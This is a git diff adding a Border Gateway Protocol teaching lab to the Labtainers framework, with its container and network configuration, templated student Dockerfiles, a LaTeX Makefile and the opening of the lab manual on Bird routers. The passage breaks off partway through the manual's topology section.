index 000000000..ebd1ae3be --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/start.config.bu @@ -0,0 +1,166 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED bird-bgp_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +NETWORK TAP_LAN + MASK 192.15.0.0/24 + GATEWAY 192.15.0.101 +NETWORK LAN1 + MASK 202.15.0.0/24 + GATEWAY 202.15.0.101 +NETWORK LAN2 + MASK 202.25.0.0/24 + GATEWAY 202.25.0.101 +NETWORK LAN2A + MASK 202.26.0.0/24 + GATEWAY 202.26.0.101 +NETWORK LAN3 + MASK 202.35.0.0/24 + GATEWAY 202.35.0.101 +NETWORK LAN4 + MASK 202.45.0.0/24 + GATEWAY 202.45.0.101 +NETWORK WAN1 + MASK 10.1.0.0/24 + GATEWAY 10.1.0.101 + TAP YES +NETWORK WAN2 + MASK 10.2.0.0/24 + GATEWAY 10.2.0.101 + TAP YES +NETWORK WAN3 + MASK 10.3.0.0/24 + GATEWAY 10.3.0.101 + TAP YES +NETWORK WAN4 + MASK 10.4.0.0/24 + GATEWAY 10.4.0.101 + TAP YES +NETWORK WAN5 + MASK 10.5.0.0/24 + GATEWAY 10.5.0.101 + TAP YES +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER r1 + USER ubuntu + SCRIPT NONE + X11 YES + LAN1 202.15.0.1 + WAN1 10.1.0.1 + WAN2 10.2.0.1 + TERMINAL_GROUP routers + NO_GW YES + ADD-HOST r2:10.1.0.2 + ADD-HOST r3:10.2.0.3 +CONTAINER r2 + USER ubuntu + SCRIPT NONE + X11 YES + LAN2 202.25.0.1 + LAN2A 202.26.0.1 + WAN1 10.1.0.2 + WAN3 10.3.0.2 + WAN4 10.4.0.2 + TERMINAL_GROUP routers + NO_GW YES + ADD-HOST r1:10.1.0.1 + ADD-HOST r4:10.4.0.4 + ADD-HOST r3:10.5.0.3 +CONTAINER r3 + USER ubuntu + SCRIPT NONE + X11 YES + LAN3 202.35.0.1 + WAN2 10.2.0.3 + WAN3 10.3.0.3 + WAN5 10.5.0.3 + TERMINAL_GROUP routers + NO_GW YES + ADD-HOST r1:10.2.0.1 + ADD-HOST r2:10.3.0.2 + ADD-HOST r4:10.5.0.4 +CONTAINER r4 + USER ubuntu + SCRIPT NONE + X11 YES + LAN4 202.45.0.1 + WAN4 10.4.0.4 + WAN5 10.5.0.4 + ADD-HOST r2:10.4.0.2 + ADD-HOST r3:10.5.0.3 + TERMINAL_GROUP routers + NO_GW YES +CONTAINER e1 + USER ubuntu + SCRIPT NONE + X11 YES + LAN1 202.15.0.2 + LAB_GATEWAY 202.15.0.1 + TERMINAL_GROUP enterprise +CONTAINER e2 + USER ubuntu + SCRIPT NONE + X11 YES + LAN2 202.25.0.2 + LAB_GATEWAY 202.25.0.1 + TERMINAL_GROUP enterprise +CONTAINER e3 + USER ubuntu + SCRIPT NONE + X11 YES + LAN3 202.35.0.2 + LAB_GATEWAY 202.35.0.1 + TERMINAL_GROUP enterprise +CONTAINER e4 + USER ubuntu + SCRIPT NONE + X11 YES + LAN4 202.45.0.2 + LAB_GATEWAY 202.45.0.1 + TERMINAL_GROUP enterprise +CONTAINER tap + USER ubuntu + SCRIPT NONE + X11 YES + TAP YES + TERMINALS 0 +CONTAINER netmon + USER ubuntu + SCRIPT NONE + X11 YES + TAP_LAN 192.15.0.2 +CONTAINER e5 + USER ubuntu + SCRIPT NONE + X11 YES + LAN2A 202.26.0.2 + LAB_GATEWAY 202.26.0.1 + TERMINAL_GROUP enterprise diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e1.student new file mode 100644 index 000000000..a229c34fb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e1.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +RUN apt-get update && apt-get install -y traceroute +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e2.student new file mode 100644 index 000000000..89227d181 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e2.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +RUN apt-get update && apt-get install -y traceroute +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e3.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e3.student new file mode 100644 index 000000000..89227d181 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e3.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +RUN apt-get update && apt-get install -y traceroute +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e4.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e4.student new file mode 100644 index 000000000..89227d181 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e4.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +RUN apt-get update && apt-get install -y traceroute +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e5.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e5.student new file mode 100644 index 000000000..a229c34fb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.e5.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +RUN apt-get update && apt-get install -y traceroute +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.netmon.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.netmon.student new file mode 100644 index 000000000..f8104123a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.netmon.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.netmon +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc2/dockerfiles/Dockerfile.softplc2.modbus.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.r1.student similarity index 98% rename from modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc2/dockerfiles/Dockerfile.softplc2.modbus.student rename to modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.r1.student index 2575477bb..bb5a7ab9b 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc2/dockerfiles/Dockerfile.softplc2.modbus.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.r1.student @@ -12,7 +12,7 @@ # openssl openssh-server openvpn wget tcpdump update-inetd xinetd # ARG registry -FROM $registry/labtainer.wine +FROM $registry/labtainer.bird #FROM $registry/labtainer.network #FROM $registry/labtainer.centos #FROM $registry/labtainer.lamp diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.r2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.r2.student new file mode 100644 index 000000000..bb5a7ab9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.r2.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.bird +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.r3.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.r3.student new file mode 100644 index 000000000..bb5a7ab9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.r3.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.bird +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.r4.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.r4.student new file mode 100644 index 000000000..bb5a7ab9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.r4.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.bird +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.tap.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.tap.student new file mode 100644 index 000000000..3c90dbadf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/dockerfiles/Dockerfile.bird-bgp.tap.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.tap +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/Makefile new file mode 100644 index 000000000..f215d9a61 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/Makefile @@ -0,0 +1,7 @@ +bird-bgp.pdf: bird-bgp.tex header.tex + pdflatex -jobname=bird-bgp bird-bgp + pdflatex -jobname=bird-bgp bird-bgp + +clean: + rm -fr auto + rm -f *.aux *.log *.pdf *.dvi *.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/bird-bgp.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/bird-bgp.pdf new file mode 100644 index 000000000..cad8694ad Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/bird-bgp.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/bird-bgp.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/bird-bgp.tex new file mode 100644 index 000000000..b25095043 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/bird-bgp.tex @@ -0,0 +1,97 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Border Gateway Protocol} +\vspace{0.1in}\\ +\end{center} + + +\section{Overview} +This exercise introduces Border Gateway Protocoal (BGP) fundamentals, +allowing students to configure BGP routers and view their behavior. +The lab uses Bird routers, which is an open source Linux-based router +implementation. + +\subsection{Background} +This exercise assumes the student has received instruction on functions +of network routers, and BGP. A tutorial on BGP can be found at: +\url{http://www.cs.fsu.edu/~xyuan/cis6930/APRICOT2004-BGP00.pdf}. It is also assumed +that the student is familiar with basic Linux routing, e.g., as explored in the +routing-basics and routing-basics2 labs. + +This lab exercise only touches on some of the most basic elements of BGP. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer bird-bgp +\end{verbatim} +A link to this lab manual will be displayed, along with a link to the Bird router +user guide. + +\section{Lab topology} +The lab presents a simplified view of Internet routers implementing BGP. Each router is connected to one or more notional +enterprises, respresented by a single computer. In Figure \ref{fig:topology}, the routers are labled R1-R4. Enterprises +are labeled E1-E5. The routers exchange routing information and traffic over 